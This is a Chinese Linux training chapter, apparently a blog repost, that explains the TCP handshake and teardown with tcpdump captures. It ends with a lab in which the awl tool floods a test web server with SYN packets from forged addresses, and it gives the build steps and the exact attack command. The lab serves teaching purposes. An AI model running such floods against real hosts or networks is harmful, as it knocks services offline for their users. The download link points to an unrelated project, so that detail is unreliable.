25.1 tcp三次握手及tcp连接状态(含tcpdum抓包分析)
25.2 tcp四次挥手及tcp连接状态
25.3 实战:在局域网中使用 awl伪装MAC地址进行多线程SYN攻击

ssh  客户端: xuegod63   192.168.1.63
sshd服务端: xuegod64  192.168.1.64

本节所使用实验环境:RHEL 7 (如有使用RHEL 6,会特别注明)

5.1 tcp三次握手及tcp连接状态(含tcpdum抓包分析)

25.1.1 TCP报文段的首部格式:

需要了解的信息:

ACK : TCP协议规定,只有ACK=1时有效,也规定连接建立后所有发送的报文的ACK必须为1
SYN(SYNchronization) : 在连接建立时用来同步序号。当SYN=1而ACK=0时,表明这是一个连接请求报文。对方若同意建立连接,则应在响应报文中使SYN=1和ACK=1. 因此,  SYN置1就表示这是一个连接请求或连接接受报文。
synchronization  [ˌsɪŋkrənaɪ'zeɪʃn]  同步
FIN (finis)即完,终结的意思, 用来释放一个连接。当 FIN = 1 时,表明此报文段的发送方的数据已经发送完毕,并要求释放连接。
finis   ['faɪnɪs]  终结

建立tcp连接时的tcp三次握手和断开tcp连接时的4次挥手整体过程

25.1.2 实战:使用tcpdump抓取tcp三次握手
tcp三次握手过程:

Client:我可以给你发数据吗?Server:可以Client:好的

tcp三次握手过程:

1、首先由Client发出请求连接即 SYN=1,声明自己的序号是 seq=x
2、然后Server 进行回复确认,即 SYN=1 ,声明自己的序号是 seq=y, 并设置为ack=x+1,
3、最后Client 再进行一次确认,设置  ack=y+1.
seq 序列号范围:2^32 -1   到最大值,再从0开始
seq 序列号作用:依据这个序列号来组数据

实战1:使用tcpdump抓包查看tcp三次握手过程

tcpdump
常用参数:
-c         指定包个数
-n        IP,端口用数字方式显示(不把IP解析成域名)
port   指定端口

在xuegod63上登录,抓取ssh远程产生的tcp三次握手包:

[root@xuegod63 ~]# tcpdump port 22 -c 3 -n -i ens33

打开另一个终端,开始建立tcp连接:

[root@xuegod63 Desktop]# ssh root@192.168.1.64
The authenticity of host '192.168.1.64 (192.168.1.64)' can't be established.
RSA key fingerprint is b2:29:c8:62:98:80:92:3c:e2:67:3f:f0:7c:40:69:63.
Are you sure you want to continue connecting (yes/no)?   #到这里就不用执行了,tcp已经建议连接

查看数据包:

[root@xuegod63 ~]# tcpdump -i eth0 -vn -t tcp  port 22
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
IP (tos 0x10, ttl 64, id 1908, offset 0, flags [DF], proto TCP (6), length 60)192.168.1.63.57521 > 192.168.1.64.ssh: Flags [S], cksum 0x4730 (correct), seq 3666297820, win 14600, options [mss 1460,sackOK,TS val 2245802 ecr 0,nop,wscale 7], length 0
IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 60)192.168.1.64.ssh > 192.168.1.63.57521: Flags [S.], cksum 0x3ee0 (correct), seq 1491746863, ack 3666297821, win 14480, options [mss 1460,sackOK,TS val 1011598 ecr 2245802,nop,wscale 7], length 0
IP (tos 0x10, ttl 64, id 1909, offset 0, flags [DF], proto TCP (6), length 52)
192.168.1.63.57521 > 192.168.1.64.ssh: Flags [.], cksum 0xa5c8 (correct), ack 1, win 115, options [nop,nop,TS val 2245803 ecr 1011598], length 0

注:Flags [S] 中的 S 表示为SYN包为1

为什么最后一个ack为1 不是为y+1 ?
client主机返回ACK,包序号为ack=1 ,这是相对序号(相对于原来的加1),如果需要看绝对序号,可以在tcpdump命令中加-S

[root@xuegod63 ~]# tcpdump port 22 -c 3 -n -S
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
16:00:54.310316 IP 192.168.1.63.57528 > 192.168.1.64.ssh: Flags [S], seq 1932774705, win 14600, options [mss 1460,sackOK,TS val 5103659 ecr 0,nop,wscale 7], length 0
16:00:54.311072 IP 192.168.1.64.ssh > 192.168.1.63.57528: Flags [S.], seq 3006844046, ack 1932774706, win 14480, options [mss 1460,sackOK,TS val 3869455 ecr 5103659,nop,wscale 7], length 0
16:00:54.311175 IP 192.168.1.63.57528 > 192.168.1.64.ssh: Flags [.], ack 3006844047, win 115, options [nop,nop,TS val 5103660 ecr 3869455], length 0
3 packets captured
3 packets received by filter
0 packets dropped by kernel

25.2 tcp四次挥手及tcp连接状态

25.2.1 实战:tcp断开连接时的 4次挥手过程

4次挥手过程:

1、当客户A 没有东西要发送时就要释放 A 这边的连接,A会发送一个报文(没有数据),其中 FIN 设置为1, seq=u;
2、 服务器B收到后会给应用程序一个信,这时A那边的连接已经关闭,即A不再发送信息(但仍可接收信息)。  B会发送收一个报文,其中 FIN 设置为1,  ack=u+1; A收到B的确认包后,进入等待状态,等待B请求释放连接。
3、服务器B向客户A发送断开连接请求,包中FIN=1,seq=w,  ack = u+1
4、A收到后回复一个确认信息,发送包,ack=w+1,并进入 TIME_WAIT 状态

25.2.2 实战: 使用tcpdum抓取4次挥手数据包
在xuegod63上登录,抓取ssh远程连接断开时,产生的tcp 4次挥手包:

[root@xuegod63 ~]# tcpdump port 22  -n -S

打开另一个终端,开始建立tcp连接:

[root@xuegod63 ~]# ssh root@192.168.1.64
root@192.168.1.64's password:
Last login: Tue Oct 25 17:28:57 2016 from 192.168.1.63
[root@xuegod64 ~]# exit

查看数据包:

[root@xuegod63 ~]# tcpdump port 22  -n -S
。。。 #只看最后4个包就可以了
17:29:31.709503 IP 192.168.1.63.57533 > 192.168.1.64.ssh: Flags [F.], seq 2176876951, ack 247624733, win 164, options [nop,nop,TS val 10421058 ecr 9186853], length 0
17:29:31.710515 IP 192.168.1.64.ssh > 192.168.1.63.57533: Flags [.], ack 2176876952, win 175, options [nop,nop,TS val 9186854 ecr 10421058], length 0
17:29:31.743381 IP 192.168.1.64.ssh > 192.168.1.63.57533: Flags [F.], seq 247624733, ack 2176876952, win 175, options [nop,nop,TS val 9186858 ecr 10421058], length 0
17:29:31.743433 IP 192.168.1.63.57533 > 192.168.1.64.ssh: Flags [.], ack 247624734, win 164, options [nop,nop,TS val 10421092 ecr 9186858], length 0

为什么第二次和第四次没有seq序列号?
因为已经要断开了,没有必要产生新的序列号。

总结:4次挥手

a 我没有数据要传输了,我要断了  -》  b 好   ; b 数据传输完,我也要断了 -》  a 好

25.2.3 TCP连接状态详解:

TCP连接状态详解:

服务器端:LISTEN:侦听来自远方的TCP端口的连接请求
客户端:SYN-SENT:在发送请求连接后等待匹配的连接请求
服务器端:SYN-RECEIVED:再收到和发送一个连接请求后等待对方对连接请求的确认
客户端/服务器端:ESTABLISHED:代表一个打开的连接
客户端:FIN-WAIT-1:等待远程TCP连接中断请求,或先前的连接中断请求的确认
服务器端:CLOSE-WAIT:等待从本地用户发来的连接中断请求
客户端:FIN-WAIT-2:从远程TCP等待连接中断请求
服务器端:LAST-ACK:等待原来的发向远程TCP的连接中断请求的确认
客户端:TIME-WAIT:等待足够的时间以确保远程TCP接收到连接中断请求的确认
服务器端:CLOSED:没有任何连接状态

25.3 实战:在局域网中使用 awl伪装MAC地址进行多线程SYN攻击

25.3.1 SYN洪水攻击概述:

SYN洪水攻击主要源于: tcp协议的三次握手机制

tcp协议面向链接的协议:
正常的TCP三次握手过程:

实战拓扑图:

SYN洪水攻击的过程:
在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存在的客户端,那么服务端就不会接到客户端回应的ACK包。
这时服务端需要耗费一定的数量的系统内存来等待这个未决的连接,直到等待超关闭,才能释放内存。
如果恶意者通过ip欺骗,发送大量SYN包给受害者系统,导致服务端存在大量未解决连接并占用大量内存和tcp连接,从而导致正常客户端无法访问服务端,这就是SYN洪水攻击的过程。

25.3.2 实战:使用awl伪装MAC对内网的服务器施实syn洪水攻击

实战拓扑图:


1、在xuegod63 awl软件进行攻击:
下载地址:https://gitlab.com/davical-project/awl/tags


通过xshell上传awl-0.2.tar.gz到Linux系统中

2、开始安装awl 0.56 0.53 不能用

[root@xuegod63 ~]#tar zxvf awl-0.2.tar.gz  #解压
[root@xuegod63 ~]#cd awl-0.2
[root@xuegod63 awl-0.2]#./configure   # 查检软件包安装环境
[root@xuegod63 awl-0.2]#make  -j  4
#make  把源代码编译成可执行的二进制文件
# -j 4以4个进程同时编译,速度快[root@xuegod63 awl-0.2]#make install   #安装

3、查看安装的命令:

[root@xuegod63 awl-0.2]# which awl
/usr/local/bin/awl在xuegod64上搭建一台web服务器,模拟要被攻击的服务器
[root@xuegod64 ~]# yum install httpd -y  #安装web服务器
[root@xuegod64 ~]# systemctl start httpd

4、开始攻击:
实战: 在局域网中使用 awl伪装MAC地址进行多线程SYN攻击
获取对方的IP地址解析成MAC地址

[root@xuegod63 ~]# ping 192.168.1.64[root@xuegod63 ~]# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
192.168.1.17             ether   e0:b9:a5:ac:c5:76        C                     eth0
192.168.1.64             ether   00:0c:29:48:80:95        C                     ens33

开始攻击:

awl参数如下:
-i 发送包的接口,如果省略默认是ens33
-m 指定目标mac地址    注:如果-m没有指定mac,默认目标MAC地址是“FF.FF.FF.FF.FF.FF”,这表示向同一网段内的所有主机,进行SYN攻击,1-2分钟内,还容易使整个局域网瘫痪。
-d 被攻击机器的IP
-p 被攻击机器的端口[root@xuegod63 ~]# awl -i ens33 -m 00:0c:29:48:80:95 -d 192.168.1.64 -p 80

测试攻击效果:

在xuegod64上查看:发现很多伪装成公网的IP在攻击我们

总结:
25.1 tcp三次握手及tcp连接状态
25.2 tcp四次挥手及tcp连接状态
25.3 实战:在局域网中使用 awl伪装MAC地址进行多线程SYN攻击

【Linux云计算架构:第三阶段-Linux高级运维架构】第26章——tcp三次握手四次挥手及在局域网中使用 awl伪装MAC地址进行多线程SYN攻击相关推荐

  1. tcp三次握手和在局域网中使用 awl伪装MAC地址进行多线程SYN攻击

    内容 1.tcp三次握手及tcp连接状态 2.实战:在局域网中使用 awl伪装MAC地址进行多线程SYN攻击 ssh 客户端: 63 192.168.1.63 sshd服务端: 64 192.168. ...

  2. 云计算高级运维第一阶段项目实战:在局域网中使用 awl 伪装 MAC 地址进行多线程 SYN 洪水攻击

    在局域网中使用 awl 伪装 MAC 地址进行多线程 SYN 洪水攻击 (1)SYN 洪水攻击的过程 在服务器返回一个确认的 SYN-ACK 包的时候有个潜在的弊端,如果发起的客户是一个不存在的客户端 ...

  3. awl伪装MAC地址进行多线程SYN攻击

    SYN洪水攻击的过程: 在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如 果发起的客户是一个不存在的客户端,那么服务端就不会接到客户端回应的ACK 包. 这时服务端需要耗费一定的数量的系 ...

  4. 利用tcp三次握手,使用awl伪装MAC地址进行多线程SYN洪水攻击

    SYN洪水攻击概述: SYN洪水攻击主要源于: tcp协议的三次握手机制 tcp协议面向链接的协议 SYN洪水攻击的过程: 在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是 ...

  5. 利用tcp三次握手,使用awl伪装MAC地址进行多线程SYN Flood

    SYN Flood概述: SYN Flood主要源于: tcp协议的三次握手机制 tcp协议面向链接的协议 SYN Flood的过程: 在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果 ...

  6. TCP连接三次握手协议,释放连接四次挥手,以及使用 awl伪造mac地址进行多线程syn洪泛攻击。...

    这个TCP连接就是一次追女生-谈恋爱-分手,追求比分手简单,但是分手比追求复杂.哥,谈了半年的女朋友,在就快要成功了的时候分了,原因是因为有人在后面该老子背后搞SYN洪泛攻击,最后女朋友丢失了.学会T ...

  7. 【Linux云计算架构:第三阶段-Linux高级运维架构】第19章——安装Kali黑客操作系统-利用ettercap实施中间人攻击

    内容: 19.1 安装Kali黑客操作系统及相关实战 19.2 实战:linux之kali系统ssh服务开启 19.3 实战: kali下的nmap扫描工具 19.4 MITM中间人攻击理论 19.5 ...

  8. 【Linux云计算架构:第三阶段-Linux高级运维架构】第25章—— 搭建jumperserver管理王者荣耀数万台游戏服务器

    本节内容: 34.1 Jumpserver堡垒机概述-部署Jumpserver运行环境 34.2 安装Coco组件 34.3 安装Web-Terminal前端-Luna组件-配置Nginx整合各组件 ...

  9. 【Linux云计算架构:第三阶段-Linux高级运维架构】第13章——redis

    本节内容: 13.1 redis概述 13.2 安装redis 13.3 redis基本操作 13.4 redis持久化 13.5 redis主从架构(实现读写分离) 13.6 使用sentinel实 ...

最新文章

  1. jenkins android sdk,Jenkins为什么找不到Android SDK?
  2. OpenCV 中的 Scalar 类、Vec类
  3. getAttribute方法在IE6/7下获取href/src属性值的问题
  4. 计算机网络——链路层之停止等待协议
  5. 浅谈oracle中for update 和 for update nowait 和 for update wait x的区别
  6. Php global echo,php中global和$GLOBALS[]的分析之一
  7. Android AsyncTasks并行执行
  8. 计算机考研专业课靠什么意思,计算机考研专业课831什么意思???
  9. 第 29 章 电阻触摸屏—触摸画板
  10. python爬取小说并下载_python3爬取小说存为文本实现小说下载
  11. 程序员再忙也应该看看《琅琊榜》
  12. UEFI模式创建Grub2引导ubuntu16.04和windows10,并安装Linux Nvidia驱动
  13. 期刊论文写作之【python matplotlib 画图设置】
  14. 笔记:腾讯云服务器的使用
  15. 如何配置Tomcat服务器
  16. PTA 10-43 计算xsda表中最矮同学的身高
  17. [IOS笔记][Bugly]首次使用bugly收集app崩溃信息
  18. 我吃的肉里都有量子力学了?
  19. Cisco Packet Tracer实验
  20. oracle表分区的用法

热门文章

  1. 2022年为什么降薪也要跳槽?机会比涨薪很重要?
  2. 编译问题追踪 :Connect to maven.google.com:443 [maven.google.com/172.217.160.110] failed: Connection timed
  3. 美标/国标耳机接口区别
  4. 《数据结构》第四章串,数组和广义表
  5. [论文翻译]数据集的domian问题:Intramodality Domain Adaptation Using Self Ensembling and Adversarial Training
  6. Regin恶意软件:何以潜伏如此久?
  7. 【图像隐藏】基于小波变换DWT实现数字水印嵌入提取含各类攻击附matlab代码
  8. 单片机开发不可避免会遇到很多头疼的问题
  9. 高德打车通用可编排订单状态机引擎设计
  10. pdo 参数绑定中 where 子句中的错误的解决